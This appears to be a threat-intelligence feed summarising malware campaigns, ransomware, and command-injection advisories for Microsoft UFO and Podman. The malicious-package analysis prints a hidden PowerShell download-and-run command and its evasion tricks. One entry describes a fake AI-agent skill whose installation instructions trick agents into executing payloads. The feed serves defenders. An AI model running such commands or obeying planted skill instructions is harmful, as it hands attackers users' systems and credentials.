The Gentlemen is a ransomware-as-a-service operation tracked as Storm-2697, distinguished by combining robust per-file encryption using Curve25519 with XChaCha20 stream cipher alongside aggressive self-propagation capabilities designed for broad network compromise. Emerging in mid-2025 and transitioning to RaaS by September 2025, the operation recently partnered with BreachForums to recruit affiliates including penetration testers and initial access brokers. Written in Go and obfuscated with Garble, the ransomware employs double extortion tactics, encrypting data while exfiltrating sensitive information. It utilizes 21 distinct lateral movement techniques per target host, including PsExec, WMI, scheduled tasks, services, and PowerShell remoting. The malware disables defenses, deletes shadow copies and forensic artifacts, and can optionally wipe free disk space to prevent recovery, impacting organizations globally across education, transportation, healthcare, and finance sectors.
Microsoft UFO open-source framework for intelligent automation across devices and platforms. Microsoft UFO tagged releases up to and including v3.0.0 contain an OS command injection vulnerability in the shell action replay path. In affected releases, ShellReceiver.run_shell() passes a command string from action parameters directly to subprocess.Popen() with shell=True and executable=powershell.exe. The same shell-execution behavior is also reachable through ShellReceiver.execute_command(). The shell receiver is invoked by action classes such as RunShellCommand.execute() and ExecuteCommand.execute(), which forward stored action parameters to the shell receiver. Because UFO stores planned and executed actions in per-session JSON records, an attacker who can write or modify a session/action JSON file can plant a shell action. When the session is resumed or replayed, UFO executes the attacker's command as the UFO process user.
A sophisticated phishing campaign distributes a PureLogs variant through deceptive purchase order emails containing malicious JavaScript files. The attack chain employs obfuscated JavaScript that drops PowerShell scripts, which then use process hollowing techniques to inject .NET modules into legitimate Windows processes. The malware communicates with command-and-control infrastructure to download additional plugins. PureLogs collects extensive sensitive information including credentials from web browsers, cryptocurrency wallets, email clients, Discord, and various applications. It also captures screenshots, system information, and clipboard data. The collected data is compressed, encrypted with AES, and exfiltrated to remote servers. The campaign demonstrates advanced evasion techniques through fileless execution, multiple encryption layers, and abuse of trusted processes like MsBuild.exe, making detection challenging for traditional security solutions.
---
_-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (b4e45cdd0a93db2db56ae7fd2c348305a5ce7aeab9c6fb4b2331c2a547b2c5e7)
class-weaver advertises itself as a className/theme utility (keywords clsx, utils, styling; exports named classNames and twMerge mimicking clsx/tailwind-merge), but its dist/index.js contains a hidden remote-code-execution path inside the exported applyGlobalStyles({palette, accents}) function. The function AES-256-CBC-decrypts caller-supplied hex arrays using a hardcoded 32-byte key (assembled from eight concatenated hex fragments) and spawns powershell.exe with arguments ["-WindowStyle","Hidden","-NoProfile","-Command",`irm ${URL} -o $env:TEMP\s.js; node $env:TEMP\s.js`] via spawnSync with windowsHide:true — downloading and executing arbitrary JavaScript on Windows installers. The node:crypto and node:child_process modules are imported through string-split array-join obfuscation (["no","de",":","cry","pto"].join("")) to evade static dependency scanning. Thousands of filler functions (isWithinBoundary1..200, mapOperation1..250, applyPreset1..150, createSequenceStep1..250, checkConstraint1..250) pad the bundle to disguise the ~30-line malicious payload. The package framing as a clsx/tailwind-merge drop-in is a lure; any consumer invoking the documented applyGlobalStyles API with attacker-controlled accent/palette values triggers fetch-and-execute of arbitrary code.
## Source: ghsa-malware (5dec440ede443477635a06cca5ac51d1e9e41996adfd432a326054402ac3e704)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Financially motivated eCrime actors are conducting an ongoing infostealer campaign targeting software developers through SEO poisoning techniques. The operation impersonates AI platforms including Gemini CLI and Claude Code, as well as developer tools like Node.js, Chocolatey, and KeePassXC. Attackers position fake domains above legitimate search results, directing victims to malicious installation pages that deliver fileless PowerShell-based infostealer malware. The malware executes entirely in memory, disables Windows Defender telemetry by patching ETW and AMSI, and harvests credentials from browsers, collaboration platforms, VPN clients, and cloud storage. Stolen data includes OAuth tokens, CI/CD credentials, and corporate VPN details, providing direct enterprise network access. The campaign leverages bulletproof hosting infrastructure and over 30 typosquatted domains registered between March and April 2026, primarily targeting users in the United States and United Kingdom.
The ClickFix campaign is a malware operation that has evolved from simple disk-based infections to advanced, obfuscated attacks using fake CAPTCHA pages to trick victims into running malicious PowerShell commands. Early variants used cleartext commands to download batch scripts deploying DeerStealer InfoStealer. Later versions employ fileless execution with XOR encryption or Base64 compression, running entirely in memory. The most advanced stage uses server-side polymorphism to dynamically generate unique obfuscated payloads per victim, delivering Vidar InfoStealer. The campaign has been active since March 2026, with increased activity through May, leveraging approximately 4,500 live domains. It uses techniques to evade forensic detection by deleting traces after execution.
An MDR investigation successfully mapped the complete operational infrastructure of Banana RAT, a Brazilian banking trojan operated by threat cluster SHADOW-WATER-063. The investigation uncovered both server-side and client-side components, revealing a sophisticated FastAPI-based polymorphic payload generation system that produces hash-unique builds to evade detection. The malware employs layered obfuscation, AES-wrapped payloads, and fileless PowerShell execution. Once deployed, it enables operator-driven fraud through remote input control, keylogging, screen streaming, bank-branded overlays, and Pix QR code interception specifically targeting Brazilian financial institutions. The tooling exclusively targets 16 Brazilian banks and crypto exchanges, with all operator artifacts written in Brazilian Portuguese, indicating a financially motivated actor operating within the Tetrade banking trojan ecosystem.
A sophisticated ClickFix campaign was observed in April 2026 deploying PySoxy, a decade-old open-source Python SOCKS5 proxy tool, to establish encrypted proxy access on compromised hosts. The attack chain begins with social engineering that tricks users into executing obfuscated PowerShell commands, which then establishes scheduled task persistence and deploys an in-memory PowerShell-based command-and-control agent. Following domain reconnaissance activities, attackers deploy PySoxy to create a redundant encrypted access channel. The persistence mechanism continues attempting re-execution even after initial connections are blocked, demonstrating how single ClickFix executions can evolve into modular post-exploitation chains. This development represents a significant evolution from simple one-time execution to durable access with multiple redundant pathways, requiring comprehensive remediation beyond blocking initial callbacks.
Iranian state-sponsored threat group Seedworm conducted a widespread espionage campaign in early 2026, compromising at least nine organizations across nine countries on four continents. Victims included a major South Korean electronics manufacturer, government agencies, an international airport in the Middle East, Southeast Asian industrial manufacturers, a Latin American financial services provider, and educational institutions. The attackers utilized DLL sideloading techniques with legitimately signed Fortemedia and SentinelOne binaries to execute malicious payloads, deployed Node.js-based implants for orchestration, and employed multiple PowerShell scripts for reconnaissance, credential theft, and privilege escalation. Data exfiltration was conducted through public file-transfer service sendit.sh to blend malicious traffic with legitimate cloud services. The campaign demonstrates Seedworm's evolved tradecraft and expanded targeting beyond traditional Middle Eastern focus areas.
A sophisticated multi-stage intrusion campaign was identified leveraging a weaponized PowerShell payload disguised as a JPEG image file (sysupdate.jpeg) to deploy a trojanized ConnectWise ScreenConnect instance for covert remote access. The attack likely originates through social engineering techniques including phishing emails or malicious attachments. Upon execution, the malware establishes a staging environment, retrieves additional payloads from attacker-controlled infrastructure, and dynamically compiles a custom launcher using Microsoft's legitimate .NET compiler (csc.exe) to evade detection. The intrusion abuses ComputerDefaults.exe and a malicious ms-settings registry hijack to perform a fileless UAC bypass and obtain elevated privileges. Once elevated, the malware deploys a persistent service masquerading as OneDriveServers and launches a modified ScreenConnect framework capable of credential interception, remote command execution, surveillance operations, SYSTEM-level execution, encrypted command...
In March 2026, threat actors weaponized the OpenClaw AI agent framework by publishing a deceptive "DeepSeek-Claw" skill. This skill embedded malicious installation instructions designed to trick AI agents and developers into executing hidden payloads. On Windows systems, a PowerShell command downloads an MSI package containing a legitimate signed GoToMeeting executable that sideloads a malicious DLL. This loader patches ETW and AMSI for evasion, then decrypts and executes Remcos RAT using TEA encryption, enabling remote access and data theft including keylogging and cookie stealing. An alternate execution path for macOS and Linux delivers GhostLoader through obfuscated Node.js scripts, harvesting credentials via fake sudo prompts and exfiltrating SSH keys, cryptocurrency wallets, and cloud API tokens. This campaign represents an emerging threat vector exploiting autonomous AI workflows and developer trust in open-source frameworks.
A sophisticated two-stage infostealer named LofyStealer, also known as GrabBot/Slinky, targets Minecraft players through social engineering. The malware comprises a 53.5MB Node.js-based loader disguised within legitimate libraries and a 1.4MB native C++ payload that executes directly in memory. It extracts cookies, passwords, tokens, credit cards, and IBANs from eight different browsers including Chrome, Edge, Brave, Opera GX, and Firefox. The loader uses GitHub Actions for automated compilation while the payload employs direct syscalls to bypass EDR detection. Data is compressed via PowerShell, Base64-encoded, and exfiltrated to a Brazilian-hosted C2 server at 24.152.36.241. The operation is attributed with high confidence to the Brazilian cybercrime group LofyGang, operating a Malware-as-a-Service platform with Free and Premium tiers through a web panel branded as LofyStealer Advanced C2 Platform V2.0.
A ClickFix-style phishing campaign leveraged social engineering to trick users into executing obfuscated PowerShell commands that downloaded and installed a malicious MSI payload from a remote server. The attack employed a sophisticated multi-stage infection chain utilizing DLL sideloading techniques with renamed legitimate binaries to execute malicious components. The final payload deployed HijackLoader to deliver a Lumma-style information stealer designed for credential harvesting and data exfiltration. The campaign utilized multiple command-and-control domains and infrastructure hosted on specific IP addresses. Mitigation measures include blocking identified artifacts, enhancing user awareness about ClickFix social engineering tactics, implementing endpoint detection for suspicious PowerShell activity and unsigned DLL sideloading, and isolating compromised systems for remediation.
A sophisticated ClickFix campaign was detected in mid-March 2026, beginning with a malicious webpage impersonating Booking.com's visual identity with a fake CAPTCHA. The attack leverages social engineering to trick victims into executing a PowerShell command that downloads and runs a script directly in memory. The JavaScript code automatically copies malicious commands to the clipboard and intercepts copy events. Once executed, the PowerShell dropper performs system fingerprinting, downloads a ZIP payload from a remote server, deploys it to user directories, establishes persistence through registry keys and scheduled tasks, and executes the final payload. The campaign demonstrates well-structured code with fallback mechanisms and real-time telemetry via Telegram, suggesting the use of a ready-to-use attack kit.
This analysis documents a newly observed ClickFix variant that abuses native Windows utilities, specifically cmdkey and regsvr32, for payload delivery. Victims are socially engineered through fake CAPTCHA pages to execute a malicious command via the Windows Run dialog. The single command chains multiple actions: staging credentials using cmdkey, retrieving a remote DLL via regsvr32 from a UNC path, and executing it silently. The 64-bit DLL establishes persistence through a scheduled task pulled from a remote XML file hosted on attacker infrastructure. This approach avoids traditional malware drops and leverages exclusively trusted Windows components for high stealth. The variant demonstrates continued evolution of ClickFix techniques, moving beyond PowerShell to use command chaining with legitimate system tools.
Two distinct phishing campaigns have been identified targeting companies in Greece, Spain, Slovenia, Bosnia and Central American countries to deliver FormBook data-stealing malware. The first campaign uses RAR attachments containing legitimate executables like Sandboxie ImBox.exe, TikTok desktop, Adobe PDF Preview Handler, and XZ Utils, exploiting DLL side-loading with malicious DLL files. The second campaign deploys heavily obfuscated JavaScript that drops encrypted PNG files, uses PowerShell with Base64 encoding, and leverages a custom .NET loader called Mandark to inject the payload into RegAsm process. Both campaigns deliver the same FormBook executable that employs advanced evasion by manually mapping ntdll.dll in memory to bypass user-mode monitoring and perform direct syscalls, enabling credential theft and data collection from browsers while avoiding detection mechanisms.
A command injection vulnerability exists in Podman's HyperV machine backend on Windows. An attacker able to manipulate the VM image path can execute arbitrary PowerShell commands, potentially leading to unauthorized system-level code execution. This flaw does not affect Red Hat Enterprise Linux or OpenShift Container Platform, as the vulnerable code path is exclusive to Windows and not used on Red Hat products.
Podman is a tool for managing OCI containers and pods. Versions 4.8.0 through 5.8.1 contain a command injection vulnerability in the HyperV machine backend in pkg/machine/hyperv/stubber.go, where the VM image path is inserted into a PowerShell double-quoted string without sanitization, allowing $() subexpression injection. Because PowerShell evaluates subexpressions inside double-quoted strings before executing the outer command, an attacker who can control the VM image path through a crafted machine name or image directory can execute arbitrary PowerShell commands with the privileges of the Podman process. On typical Windows installations this means SYSTEM-level code execution, and only Windows is affected as the code is exclusive to the HyperV backend. This issue has been patched in version 5.8.2.
An open directory discovery at refundonex[.]com exposed a complete Phishing-as-a-Service and RAT-as-a-Service platform targeting Spanish and Portuguese-speaking victims. The investigation uncovered 3,788 files including weaponized LNK, VBS, and AES-encrypted PowerShell payloads delivering a remote access trojan. The platform, called Shadow Panel, operates from Bulgarian infrastructure and offers capabilities including remote shell execution, screenshot capture, file management, browser credential theft, clipboard hijacking for cryptocurrency wallets, and multi-operator support. The C2 panel's frontend JavaScript was publicly accessible, revealing 29 API endpoints and the complete architecture. Infrastructure analysis linked the operation to nikola4010@proton[.]me through WHOIS data and historical malicious domain associations dating back to 2021, indicating a long-running cybercriminal operation with minimal detection coverage.
In February 2026, an attack chain was discovered that utilized a fraudulent Adobe Acrobat Reader download page to deceive victims into installing ConnectWise's ScreenConnect, a legitimate remote access tool exploited for malicious purposes. The attack employs sophisticated evasion techniques including heavy obfuscation, .NET reflection for in-memory payload execution, and dynamic code construction. A VBScript loader initiates the chain by downloading and executing obfuscated PowerShell commands that compile C# code entirely in memory. The loader manipulates the Process Environment Block to masquerade as legitimate Windows processes and abuses auto-elevated COM objects to bypass User Account Control without user prompts. This multi-layered approach successfully evades signature-based defenses and hinders forensic analysis while ultimately deploying ScreenConnect for unauthorized remote access.